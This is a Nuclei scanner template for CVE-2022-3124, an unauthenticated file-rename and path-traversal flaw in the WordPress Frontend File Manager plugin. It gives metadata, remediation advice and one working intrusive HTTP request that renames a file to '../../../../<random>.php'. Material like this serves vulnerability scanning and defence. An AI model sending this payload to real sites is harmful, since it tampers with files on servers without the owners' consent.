id: CVE-2022-3124 info: name: Frontend File Manager < 21.3 - Unauthenticated File Renaming author: riteshs4hu severity: medium description: | The Frontend File Manager Plugin WordPress plugin before 21.3 allows any unauthenticated user to rename uploaded files from users. Furthermore, due to the lack of validation in the destination filename, this could allow allow them to change the content of arbitrary files on the web server impact: | Unauthenticated attackers can rename uploaded files and manipulate arbitrary file content on the web server through path traversal, potentially overwriting critical WordPress files or injecting malicious code. remediation: | Update Frontend File Manager plugin to version 21.3 or later that validates file rename operations and restricts them to authenticated users with proper path validation. reference: - https://nvd.nist.gov/vuln/detail/CVE-2022-3124 - https://wpscan.com/vulnerability/00f76765-95af-4dbc-8c37-f1b15a0e8608/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N cvss-score: 5.3 cve-id: CVE-2022-3124 cwe-id: CWE-862 epss-score: 0.08664 epss-percentile: 0.92606 cpe: cpe:2.3:a:najeebmedia:frontend_file_manager:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: najeebmedia product: frontend_file_manager framework: wordpress publicwww-query: "/wp-content/plugins/nmedia-user-file-uploader/" tags: cve,cve2022,wordpress,wp-plugin,wpscan,nmedia-user-file-uploader,file-upload,intrusive,vkev,vuln variables: rand_string: '{{to_lower(rand_text_alpha(6))}}' http: - raw: - | POST /wp-json/wpfm/v1/file-rename HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded fileid=1&filename=../../../../{{rand_string}}.php matchers-condition: and matchers: - type: regex part: body regex: - '"fileid"\s*:\s*"([^"]+)"' - '"filename"\s*:\s*"([^"]+)"' condition: and - type: word part: content_type words: - 'application/json' - type: status status: - 200 # digest: 490a004630440220272d186f73a40fb16d6d560316cb54bf7ca9b41fdcd86d6bb0772d7468850bf602207024f2d92394de7e72d5e628fce48aa289c6fb652aff966d8702f9dd8381fe33:922c64590222798bb761d5b6d8e72950